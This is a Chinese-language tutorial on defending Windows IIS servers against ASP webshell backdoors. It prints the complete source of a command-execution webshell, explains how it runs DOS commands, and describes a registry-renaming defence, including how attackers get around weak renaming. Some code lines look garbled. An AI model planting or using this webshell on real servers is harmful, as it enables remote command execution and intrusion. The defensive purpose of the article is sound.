随着asp 技术的发展,网络上基于asp技术开发的网站越来越多,对asp技术的支持可以说已经是windows系统iis服务器的一项基本功能。但是基于asp技术的木马后门,也越来越多,而且功能也越来越强大。由于asp它本身是服务器提供的一贡服务功能,所以这种asp脚本的木马后门,不会被杀毒软件查杀。被黑客们称为“永远不会被查杀的后门”。由于其高度的隐蔽性和难查杀性,对网站的安全造成了严重的威胁。因此针对asp木马的防范和清除,为我们的网管人员提出了更高的技术要求。下面我结合个人的经验,谈一下对两款比较典型的asp 木马的防范方法,希望对大家能够有所帮助。
以下是第一款木马的代码:
<title>asp shell</title>
<%@ language=vbscript %>
<%
dim oscript
dim oscrip.net
dim ofilesys, ofile
dim szcmd, sztempfile
on error resume next
-- create the com objects that we will be using --
set oscript = server.createobject("wscript.shell")
set oscrip.net = server.createobject("wscript.network")
set ofilesys = server.createobject("scripting.filesystemobject")
-- check for a command that we have posted --
szcmd = request.form(".cmd")
if (szcmd <> "") then
-- use a poor mans pipe ... a temp file --
sztempfile = "c:" & ofilesys.gettempname( )
call oscript.run ("cmd.exe /c " & szcmd & " > " & sztempfile, 0, true)
set ofile = ofilesys.opentextfile (sztempfile, 1, false, 0)
end if
%>
<html>
<body>
<form action="<%= request.servervariables("url") %>" method="post">
<input type=text name=".cmd" size=45 value="<%= szcmd %>">
<input type=submit value="执行命令">
</form>
<pre><%
if (isobject(ofile)) then
-- read the output from our command and remove the temp file --
on error resume next
response.write server.htmlencode(ofile.readall)
ofile.close
call ofilesys.deletefile(sztempfile, true)
end if
%>
</body>
</html>
然后在命令行里输入dir命令点执行就可以查看目录了!!它可以使用各种dos命令,如:copy.net.netstat等。
但是它的默认执行权限只有guest,也就是iusr_computer用户的执行权限。当然如果你把iusr_computer用户加入管理员组,那么你就有管理员权限了。这一款木马的特点是,使用很方便。几乎就想当于dos命令行窗口xx作一样。但是如果服务器限制了fso(无组件上传),那么它是没有办法使用了。还有就是在服务器以后增加的虚拟主机里也没有办法使用。只能在“默认 web 站点”里使用,所以它相对的适用范围较窄。
对于防范方法让我们看一下它的代码就知道了:
set oscript = server.createobject("wscript.shell")
'建立了一个名为oscript的wscript.shell对象,用于命令的执行"
set oscrip.net = server.createobject("wscript.network")
set ofilesys = server.createobject("scripting.filesystemobject")
上面三行代码创建了wscript.shell、wscript.network、scripting.filesystemobject三个对象,我们只要在注册表中把控制wscript.shell对象的项改名或删除就可以了。如下图:值得注意的是:我们应该把“wscript.shell”项和“wscript.shell.1”这两项都要改名或删除。因为如我们只修改“wscript.shell”项的话。那么黑客们只要把代码修改如下:
set oscript = server.createobject("wscript.shell.1")
这个后门木马就又可以执行了。
大家可能已经想到了,我们在对“wscript.shell”项和“wscript.shell.1”改名时,一定要不容易被黑客们猜到,因为例如:你把“wscript.shell”改成了“wscript.shell888”。黑客们只要把代码相应的改成:
set oscript = server.createobject("wscript.shell888")
木马程序就又可以执行了。还有就修改了注册表以后要重起web服务,设置才会有效。
Java Asp PHP .Net XML C/C++ CGI VB Jsp J2ee J2se J2me EJB Servlet Tomcat Resin Struts Weblogic Eclipse ANT GUI JMS Web servise IDEA Webphere Hibernate Spring Jboss Applet Swing Socket Javamail Perl Ajax P2P 安全 模式 框架 测试 开源 游戏
Windows XP Windows 2000 Windows 2003 Windows Me Windows 9.x Linux UNIX 注册表 操作系统 服务器 应用服务器